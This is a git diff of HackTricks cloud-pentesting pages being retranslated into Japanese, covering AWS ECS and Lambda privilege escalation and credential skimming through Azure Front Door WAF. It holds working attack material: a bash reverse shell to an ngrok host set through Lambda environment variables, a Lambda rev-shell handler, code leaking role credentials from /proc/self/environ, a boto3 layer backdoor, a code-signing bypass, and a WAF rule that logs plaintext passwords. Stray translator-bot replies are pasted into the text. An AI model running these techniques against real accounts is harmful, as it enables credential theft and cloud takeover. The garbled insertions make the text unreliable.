+- タスクが攻撃者インスタンス上に配置されることを確認

+- 任意: EC2 ノードから docker exec で target コンテナに入り、http://169.254.170.2 を参照して task role credentials を取得

 - クリーンアップ

-
-
-**Potential Impact:** 攻撃者が制御する EC2 ノードが被害者のタスクを受け入れ、OS レベルでコンテナへアクセスしてタスクの IAM ロール認証情報を窃取できるようになります。
+**Potential Impact:** 攻撃者が制御する EC2 ノードに被害者のタスクが配置され、OS レベルでコンテナにアクセスできるようになり、task IAM role credentials の窃取が可能になります。
+{{#include ../../../../banners/hacktricks-training.md}}
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md
@@ -4,7 +4,7 @@

 ## lambda

-More info about lambda in:
+lambda に関する詳細情報は:

 {{#ref}}
 ../../aws-services/aws-lambda-enum.md
@@ -12,11 +12,11 @@ More info about lambda in:

 ### `iam:PassRole`, `lambda:CreateFunction`, (`lambda:InvokeFunction` | `lambda:InvokeFunctionUrl`)

-**`iam:PassRole`, `lambda:CreateFunction`, `lambda:InvokeFunction`** の権限を持つユーザーは権限昇格が可能です。\
-新しい Lambda function を作成して既存の IAM role を割り当てることで、その role に紐づく権限を関数に付与できます。ユーザーはその Lambda function にコードを書き込みアップロードし（例: rev shell）、\
-関数が設定されると AWS API 経由で Lambda function を呼び出して実行させ、目的の操作を実行できます。この方法により、ユーザーは関連付けられた IAM role に与えられた権限レベルで、Lambda function を通じて間接的に操作を行えます。\\
+これらの **`iam:PassRole`, `lambda:CreateFunction`, and `lambda:InvokeFunction`** 権限を持つユーザーは権限を昇格できます。\
+彼らは **新しい Lambda function を作成し既存の IAM role を割り当てる** ことで、そのロールに紐づく権限を関数に付与できます。ユーザーはその後 **この Lambda function にコードを書きアップロードする（例：rev shell）** ことができます。\
+関数がセットアップされると、ユーザーは AWS API 経由で Lambda function を呼び出して、**実行をトリガー**し意図した操作を行わせることができます。この手法により、ユーザーは Lambda function を介して間接的に操作を実行でき、その関数に紐づく IAM role に付与されたアクセスレベルで動作します。\\

-攻撃者はこれを悪用して **rev shell を取得し token を盗む**:
+A attacker could abuse this to get a **rev shell and steal the token**:
 ```python:rev.py
 import socket,subprocess,os,time
 def lambda_handler(event, context):
@@ -46,8 +46,8 @@ aws lambda invoke --function-name my_function output.txt
 # List roles
 aws iam list-attached-user-policies --user-name <user-name>
 ```
-また、lambda function 自身から **lambda role permissions を悪用する** こともできます。\
-lambda role に十分な権限があれば、それを使って自分に管理者権限を付与することができます:
+lambda function自体から、**abuse the lambda role permissions**することもできます.\
+もしlambda roleに十分な権限があれば、それを使って自分にadmin rightsを付与することができます:
 ```python
 import boto3
 def lambda_handler(event, context):
@@ -58,11 +58,7 @@ PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
 )
 return response
 ```
-外部接続を必要とせずに lambda's role credentials を leak することも可能です。
-
-これは内部タスクで使用される **Network isolated Lambdas** に対して有用です。
-
-不明な security groups があなたの reverse shells をフィルタしている場合、このコードは lambda の出力として credentials を直接 leak することを可能にします。
+外部接続を必要とせずに lambda の role credentials を leak することも可能です。これは内部タスクで使用される **Network isolated Lambdas** に役立ちます。不明な security groups によって reverse shells がフィルタされている場合、このコードにより lambda の出力として credentials を直接 leak できます。
 ```python
 def handler(event, context):
 sessiontoken = open('/proc/self/environ', "r").read()
@@ -76,34 +72,34 @@ return {
 aws lambda invoke --function-name <lambda_name> output.txt
 cat output.txt
 ```
-**Potential Impact:** 指定された任意の lambda サービスロールへの直接的な privesc。
+**Potential Impact:** 指定された任意の lambda サービスロールへの直接 privesc。

 > [!CAUTION]
-> 一見興味深く見えても、**`lambda:InvokeAsync`** は単独では **`aws lambda invoke-async` を実行することを許可しません**。`lambda:InvokeFunction` も必要です
+> たとえ興味深く見えても **`lambda:InvokeAsync`** **だけでは** **`aws lambda invoke-async` を実行する**ことはできず、`lambda:InvokeFunction` も必要です。

 ### `iam:PassRole`, `lambda:CreateFunction`, `lambda:AddPermission`

-前のシナリオと同様に、`lambda:AddPermission` の権限があれば、自分に **`lambda:InvokeFunction`** の権限を付与できます。
+前のシナリオと同様に、**`lambda:AddPermission`** の権限があれば、**自分に `lambda:InvokeFunction` の権限を付与することができます**。
 ```bash
 # Check the previous exploit and use the following line to grant you the invoke permissions
 aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_function \
 --action lambda:InvokeFunction --statement-id statement_privesc --principal "$NON_PRIV_PROFILE_USER_ARN"
 ```
-**潜在的影響:** 指定された任意の Lambda サービスロールへの直接的な privesc。
+**潜在的な影響:** 指定された任意の lambda サービスロールへの直接的な privesc.

 ### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateEventSourceMapping`

-`iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateEventSourceMapping` の権限（および場合によっては `dynamodb:PutItem` や `dynamodb:CreateTable`）を持つユーザーは、`lambda:InvokeFunction` がなくても間接的に **escalate privileges** できます。\
-悪意あるコードを含む **Lambda function を作成し既存の IAM role を割り当てる** ことが可能です。
+`**`iam:PassRole`, `lambda:CreateFunction`, and `lambda:CreateEventSourceMapping`** の権限（および場合によっては `dynamodb:PutItem` と `dynamodb:CreateTable`）を持つユーザーは、`lambda:InvokeFunction` がなくても間接的に **escalate privileges** できます.\\  
+彼らは、悪意のあるコードを含む **Lambda function を作成し、既存の IAM role を割り当てる** ことができます。

-Lambda を直接呼び出す代わりに、ユーザーは既存の DynamoDB テーブルを設定または利用し、それを event source mapping を通して Lambda に紐付けます。この構成により、テーブルに新しいアイテムが追加されると（ユーザーの操作か別プロセスによるかにかかわらず）Lambda function が **テーブルへの新しいアイテム登録時に自動的にトリガーされる** ようになり、結果として間接的に Lambda function が呼び出され、渡された IAM role の権限でコードが実行されます。
+ユーザーは Lambda を直接呼び出す代わりに、既存の DynamoDB テーブルをセットアップまたは利用し、それを event source mapping を通じて Lambda に紐付けます。こうすることで、Lambda function が **テーブルへの新しいアイテム登録時に自動的にトリガーされる**（ユーザーの操作または他のプロセスによる）ため、Lambda を間接的に呼び出して、渡された IAM role の権限でコードが実行されます。
 ```bash
 aws lambda create-function --function-name my_function \
 --runtime python3.8 --role <arn_of_lambda_role> \
 --handler lambda_function.lambda_handler \
 --zip-file fileb://rev.zip
 ```
-DynamoDB が既に AWS 環境で有効になっている場合、ユーザーは Lambda 関数のために **イベントソースマッピングを確立するだけでよい**。しかし、DynamoDB が使用されていない場合、ユーザーは **ストリーミングを有効にした新しいテーブルを作成する必要がある**：
+もし AWS 環境ですでに DynamoDB が有効であれば、ユーザーは Lambda 関数のために **event source mapping を設定するだけでよい**。しかし、DynamoDB が使われていない場合は、ユーザーは **ストリーミングを有効にした新しいテーブルを作成する** 必要がある:
 ```bash
 aws dynamodb create-table --table-name my_table \
 --attribute-definitions AttributeName=Test,AttributeType=S \
@@ -111,22 +107,22 @@ aws dynamodb create-table --table-name my_table \
 --provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
 --stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES
 ```
-これで**Lambda functionをDynamoDB tableに接続する**ために、**event source mappingを作成する**ことができます:
+これで、**connect the Lambda function to the DynamoDB table**を**creating an event source mapping**によって接続できます:
 ```bash
 aws lambda create-event-source-mapping --function-name my_function \
 --event-source-arn <arn_of_dynamodb_table_stream> \
 --enabled --starting-position LATEST
 ```
-Lambda 関数が DynamoDB stream にリンクされている場合、攻撃者は **DynamoDB stream を有効化して Lambda を間接的にトリガーする** ことができます。これは **DynamoDB table にアイテムを挿入する** ことで達成できます:
+Lambda functionがDynamoDB streamにリンクされている場合、attackerは**DynamoDB streamを有効化することで間接的にLambdaをトリガーできます**。これはDynamoDB tableに**アイテムを挿入すること**で実行できます：
 ```bash
 aws dynamodb put-item --table-name my_table \
 --item Test={S="Random string"}
 ```
-**潜在的な影響:** 指定された lambda サービスロールへの直接的な privesc。
+**Potential Impact:** 指定された lambda サービスロールへの直接的な privesc。

 ### `lambda:AddPermission`

-この権限を持つ攻撃者は **自分自身（または他者）に任意の権限を付与することができる**（これはリソースへのアクセスを付与するためのリソースベースのポリシーを生成する）：
+この権限を持つ攻撃者は、**自身（または他者）に任意の権限を付与することができる**（これはリソースベースのポリシーを生成してリソースへのアクセスを付与する）:
 ```bash
 # Give yourself all permissions (you could specify granular such as lambda:InvokeFunction or lambda:UpdateFunctionCode)
 aws lambda add-permission --function-name <func_name> --statement-id asdasd --action '*' --principal arn:<your user arn>
@@ -134,23 +130,23 @@ aws lambda add-permission --function-name <func_name> --statement-id asdasd --ac
 # Invoke the function
 aws lambda invoke --function-name <func_name> /tmp/outout
 ```
-**潜在的影響:** コードを変更して実行する権限を付与することで、使用されている lambda の service role への直接的な privesc。
+**潜在的な影響:** コードの変更と実行を許可する権限を付与することで、lambdaサービスロールへの直接的なprivescが可能になる。

 ### `lambda:AddLayerVersionPermission`

-この権限を持つ攻撃者は、**自分自身（または他者）に `lambda:GetLayerVersion` の権限を付与することができます**。レイヤーにアクセスし、脆弱性や機密情報を調査する可能性があります。
+この権限を持つ攻撃者は **自分自身（または他者）に権限 `lambda:GetLayerVersion` を付与できる**。レイヤーにアクセスして、脆弱性や機密情報を探すことができる。
 ```bash
 # Give everyone the permission lambda:GetLayerVersion
 aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion
 ```
-**Potential Impact:** 機密情報へのアクセスの可能性があります。
+**Potential Impact:** 機密情報へのアクセスの可能性。

 ### `lambda:UpdateFunctionCode`

 **`lambda:UpdateFunctionCode`** 権限を持つユーザーは、**IAM ロールに紐付いた既存の Lambda 関数のコードを変更する可能性があります。**\
 攻撃者は **Lambda のコードを変更して IAM 資格情報を exfiltrate することができます。**

-攻撃者が関数を直接呼び出す権限を持っていない場合でも、Lambda 関数が既に存在して稼働している場合は、既存のワークフローやイベントによってトリガーされる可能性が高く、結果として変更されたコードの実行が間接的に可能になります。
+攻撃者が関数を直接実行する権限を持っていない場合でも、Lambda 関数が既に存在し稼働中であれば、既存のワークフローやイベントを介してトリガーされる可能性が高く、結果として変更されたコードの実行を間接的に促進します。
 ```bash
 # The zip should contain the lambda code (trick: Download the current one and add your code there)
 aws lambda update-function-code --function-name target_function \
@@ -161,17 +157,17 @@ aws lambda invoke --function-name my_function output.txt

 # If not check if it's exposed in any URL or via an API gateway you could access
 ```
-**潜在的な影響:** 使用されている lambda サービスロールへの直接的な privesc。
+**Potential Impact:** 使用されている lambda サービスロールへの直接的な privesc.

 ### `lambda:UpdateFunctionConfiguration`

 #### RCE via env variables

-この権限があれば、Lambda に任意のコードを実行させるような環境変数を追加することが可能です。例えば python では、環境変数 `PYTHONWARNING` と `BROWSER` を悪用して python プロセスに任意のコマンドを実行させることができます:
+この権限があれば、Lambda を任意のコードを実行させるような environment variables を追加することが可能です。例えば python では、環境変数 `PYTHONWARNING` と `BROWSER` を悪用して python プロセスに任意のコマンドを実行させることができます:
 ```bash
 aws --profile none-priv lambda update-function-configuration --function-name <func-name> --environment "Variables={PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=\"/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18755 0>&1' & #%s\"}"
 ```
-他のスクリプト言語では使用できる別の env variables があります。詳しくは以下の scripting languages のサブセクションを参照してください：
+他のスクリプト言語については、使用できる他の env 変数があります。詳細は次のスクリプト言語のサブセクションを参照してください:

 {{#ref}}
 https://book.hacktricks.wiki/en/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/index.html
@@ -179,9 +175,9 @@ https://book.hacktricks.wiki/en/macos-hardening/macos-security-and-privilege-esc

 #### RCE via Lambda Layers

-[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) は、**code** を lamdba function に含められるようにしますが、**storing it separately** によって関数のコードを小さく保ち、**several functions can share code**。
+[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) は、lamdba function に **code** を含めることを可能にしますが、**storing it separately** することで関数のコードを小さく保て、**several functions can share code**。

-lambda 内では、python code が読み込まれるパスを以下のような関数で確認できます：
+lambda の内部では、次のような関数で python code が読み込まれるパスを確認できます：
 ```python
 import json
 import sys
@@ -206,74 +202,73 @@ For example, the library boto3 is loaded from `/var/runtime/boto3` (4th position

 #### Exploitation

-権限 `lambda:UpdateFunctionConfiguration` を悪用して、lambda 関数に **新しいレイヤーを追加する** ことが可能です。任意のコードを実行するために、このレイヤーには **lambda がインポートするライブラリ** が含まれている必要があります。lambda のコードを読めるなら、これを簡単に見つけられます。さらに、lambda が **すでにレイヤーを使用している** 場合があり、そのレイヤーを **ダウンロード** して **自分のコードを追加する** ことも可能です。
+`lambda:UpdateFunctionConfiguration` の権限を悪用して、lambda 関数に **add a new layer** することが可能です。任意のコードを実行するには、この layer に lambda が import するような何らかの **library** を含める必要があります。lambda のコードを読めれば簡単に見つけられますし、lambda が **already using a layer** の場合があり、その layer を **download** して、そこに **add your code** することもできます。

 For example, lets suppose that the lambda is using the library boto3, this will create a local layer with the last version of the library:
 ```bash
 pip3 install -t ./lambda_layer boto3
 ```
-`./lambda_layer/boto3/__init__.py` を開き、**global code に backdoor を追加**できます（例: 資格情報を exfiltrate する関数や reverse shell を取得する関数）。
+`./lambda_layer/boto3/__init__.py` を開き、**global code に backdoor を追加**できます（例: exfiltrate credentials を行う関数や reverse shell を取得する関数など）。

-その後、`./lambda_layer` ディレクトリを zip 化して **新しい lambda layer を** 自分のアカウント（または被害者のアカウント）にアップロードします（被害者のアカウントに対する権限がない場合があります）。\
-/opt/python/boto3 を上書きするには python フォルダを作成してライブラリをそこに入れる必要があります。また、layer は Lambda が使用する **python version と互換性がある** 必要があり、自分のアカウントにアップロードする場合は **same region:** に配置する必要があります。
+その後、`./lambda_layer` ディレクトリを zip にして、**new lambda layer を自分のアカウントに upload**します（または被害者のアカウントにアップロードすることもできますが、権限がない場合があります）。\
+Note that you need to create a python folder and put the libraries in there to override /opt/python/boto3. Also, the layer needs to be **compatible with the python version** used by the lambda and if you upload it to your account, it needs to be in the **same region:**
 ```bash
 aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"
 ```
-では、アップロードした lambda layer を **任意のアカウントからアクセス可能に** します:
+次に、アップロードした lambda layer を **任意のアカウントからアクセス可能にする**:
 ```bash
 aws lambda add-layer-version-permission --layer-name boto3 \
 --version-number 1 --statement-id public \
 --action lambda:GetLayerVersion --principal *
 ```
-そして、lambda layer を被害者の lambda function にアタッチします:
+そして、lambda layer を victim lambda function にアタッチします:
 ```bash
 aws lambda update-function-configuration \
 --function-name <func-name> \
 --layers arn:aws:lambda:<region>:<attacker-account-id>:layer:boto3:1 \
 --timeout 300 #5min for rev shells
 ```
-次のステップは、可能であれば自分で**関数を呼び出す**か、通常の方法でi**呼び出されるのを待つ**ことです — こちらの方が安全な方法です。
+次のステップは、可能であれば自分で**関数を呼び出す**か、通常の手段で**呼び出される**のを待つことです — こちらがより安全な方法です。

-この脆弱性を**よりステルスに悪用する方法**は以下で確認できます:
+A **この脆弱性をよりステルスに悪用する方法**は次を参照してください:

 {{#ref}}
 ../../aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md
 {{#endref}}

-**潜在的影響:** 使用されている lambda サービスロールへの直接的な privesc。
+**Potential Impact:** 使用されている lambda service role への Direct privesc。

 ### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateFunctionUrlConfig`, `lambda:InvokeFunctionUrl`

-これらの権限があれば関数を作成してURLを呼び出して実行できるかもしれません…しかし私の方ではテスト方法を見つけられなかったので、もし試せたら教えてください！
+これらの権限があれば、関数を作成して URL を呼び出して実行できるかもしれません…しかしテスト方法は見つけられなかったので、見つけたら教えてください！

 ### Lambda MitM

-一部の lambdas はパラメータでユーザーから**機密情報を受け取る**ことがあります。もしそのうちの一つで RCE を得られれば、他のユーザーが送っている情報を exfiltrate できます。詳細は次を参照してください:
+一部の lambdas はパラメータでユーザーからの **機密情報を受け取っている** ことがあります。もしそのうちの一つで RCE を得られれば、他のユーザーがそれに送っている情報を外部に持ち出せます。詳細は以下を参照してください:

 {{#ref}}
 ../../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
 {{#endref}}

-## 参考
+## 参考文献

 - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
 - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/)

-{{#include ../../../../banners/hacktricks-training.md}}




-### `lambda:DeleteFunctionCodeSigningConfig` or `lambda:PutFunctionCodeSigningConfig` + `lambda:UpdateFunctionCode` — Lambda Code Signing をバイパス
+### `lambda:DeleteFunctionCodeSigningConfig` or `lambda:PutFunctionCodeSigningConfig` + `lambda:UpdateFunctionCode` — Bypass Lambda Code Signing

-もし Lambda 関数が code signing を強制している場合、Code Signing Config (CSC) を削除するか Warn にダウングレードできる攻撃者は、署名されていないコードを関数にデプロイできます。これにより、関数の IAM ロールやトリガーを変更することなく整合性保護を回避できます。
+Lambda 関数が code signing を強制している場合、Code Signing Config (CSC) を削除するか Warn にダウングレードできる攻撃者は、署名されていないコードを関数にデプロイできます。これは関数の IAM role やトリガーを変更せずに整合性保護をバイパスします。

 Permissions (one of):
 - Path A: `lambda:DeleteFunctionCodeSigningConfig`, `lambda:UpdateFunctionCode`
 - Path B: `lambda:CreateCodeSigningConfig`, `lambda:PutFunctionCodeSigningConfig`, `lambda:UpdateFunctionCode`

 Notes:
- Path B の場合、CSC ポリシーが `WARN` に設定されていれば AWS Signer プロファイルは不要です（未署名のアーティファクトが許可されます）。
+- Path B の場合、CSC ポリシーが `WARN`（unsigned artifacts allowed）に設定されていれば、AWS Signer プロファイルは不要です。

 Steps (REGION=us-east-1, TARGET_FN=<target-lambda-name>):

@@ -296,7 +291,7 @@ aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://ba
 # If the handler name changed, also run:
 aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION
 ```
-パスB) Warn にダウングレードしてコードを更新する（削除が許可されていない場合）:
+パス B) Warn にダウングレードしてコードを更新する（削除が許可されていない場合）:
 ```bash
 CSC_ARN=$(aws lambda create-code-signing-config \
 --description ht-warn-csc \
@@ -307,15 +302,15 @@ aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://ba
 # If the handler name changed, also run:
 aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION
 ```
-確認しましたが、翻訳するソース（README.md の内容）が提供されていません。該当ファイルのテキストを貼り付けてください。貼り付けていただければ、指定どおりマークダウン／HTML構文やリンク・コード・タグを保持したまま英→日翻訳します。
+確認しました。指定どおり、コード、タグ、リンク、パス、クラウド/SaaSプラットフォーム名、ハッキング用語などは翻訳せず、Markdown/HTML構文をそのまま維持して翻訳します。
 ```bash
 aws lambda invoke --function-name $TARGET_FN /tmp/out.json --region $REGION >/dev/null
 cat /tmp/out.json
 ```
-潜在的な影響: signed deployments を強制することになっていた function に任意の unsigned code をプッシュして実行できる能力があり、結果として function role の permissions での code execution につながる可能性があります。
+潜在的な影響: 署名されたデプロイを強制するはずの関数に、任意の署名されていないコードをプッシュして実行できる可能性があり、結果として関数ロールの権限でコードが実行される恐れがある。

 クリーンアップ:
 ```bash
 aws lambda delete-function-code-signing-config --function-name $TARGET_FN --region $REGION || true
 ```
-
+{{#include ../../../../banners/hacktricks-training.md}}
--- a/src/pentesting-cloud/azure-security/az-services/az-front-door.md
+++ b/src/pentesting-cloud/azure-security/az-services/az-front-door.md
@@ -1,18 +1,81 @@
-# Az - ファイル共有
+# Az - Front Door

 {{#include ../../../banners/hacktricks-training.md}}

-## RemoteAddr バイパス
+## RemoteAddr Bypass

-この**[ブログ投稿](https://trustedsec.com/blog/azures-front-door-waf-wtf-ip-restriction-bypass)**は、Azure Front Doorでネットワーク制限を設定する際に、**`RemoteAddr`**または**`SocketAddr`**に基づいてフィルタリングできる方法を説明しています。主な違いは、**`RemoteAddr`**が実際に**`X-Forwarded-For`** HTTPヘッダーからの値を使用するため、非常に簡単にバイパスできることです。
+This **[blog post](https://trustedsec.com/blog/azures-front-door-waf-wtf-ip-restriction-bypass)** は、Azure Front Door でネットワーク制限を設定する際に **`RemoteAddr`** や **`SocketAddr`** に基づいてフィルタリングできることを説明しています。主な違いは、**`RemoteAddr`** が HTTP ヘッダ **`X-Forwarded-For`** の値を実際に使用するため、非常に簡単に回避できる点です。

-このルールをバイパスするために、**IPアドレスをブルートフォース**する自動化ツールを使用することができます。
+このルールを回避するには、自動化ツールを使用して **brute-force IP addresses** を試行し、有効なものが見つかるまで繰り返すことができます。

-これは[Microsoftのドキュメント](https://learn.microsoft.com/en-us/azure/web-application-firewall/afds/waf-front-door-configure-ip-restriction)で言及されています。
+これは [Microsoft documentation](https://learn.microsoft.com/en-us/azure/web-application-firewall/afds/waf-front-door-configure-ip-restriction) に記載されています。

+## Credential Skimming via WAF Custom Rules + Log Analytics

-## 参考文献
+Azure Front Door (AFD) の WAF Custom Rules と Log Analytics を組み合わせて、WAF を通過する平文の資格情報（またはその他のシークレット）を取得できます。これは CVE ではなく、WAF ポリシーを変更してログを読める者による正当な機能の悪用です。
+
+Key behavior enabling this:
+- AFD WAF Custom Rules は、リクエスト要素（headers や POST parameters を含む）にマッチできます。
+- Custom Rule がアクションに Log traffic only を使用すると、評価は継続されトラフィックは通常通り進行します（no short-circuit）、そのためフローは正常／ステルスのままです。
+- AFD は詳細な診断を Log Analytics に Category FrontDoorWebApplicationFirewallLog として書き込みます。マッチしたペイロードの詳細は details_matches_s に含まれ、ルール名は ruleName_s に格納されます。
+
+### エンドツーエンドのワークフロー
+
+1. ターゲットの POST パラメータを特定する
+- ログインフォームを確認し、パラメータ名をメモする（例: username, password）。
+
+2. Log Analytics への診断送信を有効化する
+- In your Front Door profile > Monitoring > Diagnostic settings, logs を Log Analytics workspace に送信する。
+- 最低限、カテゴリ FrontDoorWebApplicationFirewallLog を有効にする。
+
+3. 悪意のある Custom Rule を作成する
+- Front Door WAF Policy > Custom rules > New rule:
+- Name: 無難な名前（例: PasswordCapture）
+- Priority: 低い数値（例: 5）にして早く評価されるようにする
+- Match: POST arguments username and password を Operator = Any (match any value) で指定する
+- Action: Log traffic only
+
+4. イベントを発生させる
+```bash
+curl -i -X POST https://example.com/login \
+-H "Content-Type: application/x-www-form-urlencoded" \
+--data "username=alice&password=S3cret!"
+```
+5. Log Analytics (KQL)から資格情報を抽出する
+```kusto
+AzureDiagnostics
+| where Category == "FrontDoorWebApplicationFirewallLog"
+| where ruleName_s == "PasswordCapture"
+| project TimeGenerated, ruleName_s, details_matches_s
+| order by TimeGenerated desc
+```
+ファイルの内容を貼ってください。指定されたルール（コード・クラウド/SaaS名・リンク・パス・タグ等は翻訳しない）に従って、日本語へ翻訳します。
+```kusto
+AzureDiagnostics
+| where Category == "FrontDoorWebApplicationFirewallLog" and ruleName_s == "PasswordCapture"
+| extend m = parse_json(details_matches_s)
+| mv-expand match = m.matches
+| project TimeGenerated, ruleName_s, match.matchVariableName, match.matchVariableValue
+| order by TimeGenerated desc
+```
+一致した値は details_matches_s に表示され、ルールに一致した平文の値を含みます。
+
+### なぜ Front Door WAF で、Application Gateway WAF ではないのか?
+- Application Gateway WAF の custom-rule ログは問題となる POST/header の値を同じようには含めません; AFD WAF diagnostics は details に一致したコンテンツを含めるため、認証情報の取得が可能になります。
+
+### ステルスとバリエーション
+- リクエストを破壊しないように、また他のルールの評価を通常どおり維持するため、Action を Log traffic only に設定します。
+- 低い数値の Priority を使い、ログルールが後続の Block/Allow ルールより先に評価されるようにします。
+- 対象は POST params に限らず、任意の機微な名前/場所を指定できます（例: Authorization のような headers や、body fields に含まれる API tokens など）。
+
+### 前提条件
+- 既存の Azure Front Door インスタンス。
+- AFD WAF policy を編集し、関連する Log Analytics workspace を読み取る権限。
+
+## 参考資料

 - [https://trustedsec.com/blog/azures-front-door-waf-wtf-ip-restriction-bypass](https://trustedsec.com/blog/azures-front-door-waf-wtf-ip-restriction-bypass)
+- [Skimming Credentials with Azure's Front Door WAF](https://trustedsec.com/blog/skimming-credentials-with-azures-front-door-waf)
+- [Azure WAF on Front Door monitoring and logging](https://learn.microsoft.com/en-us/azure/web-application-firewall/afds/waf-front-door-monitor)

 {{#include ../../../banners/hacktricks-training.md}}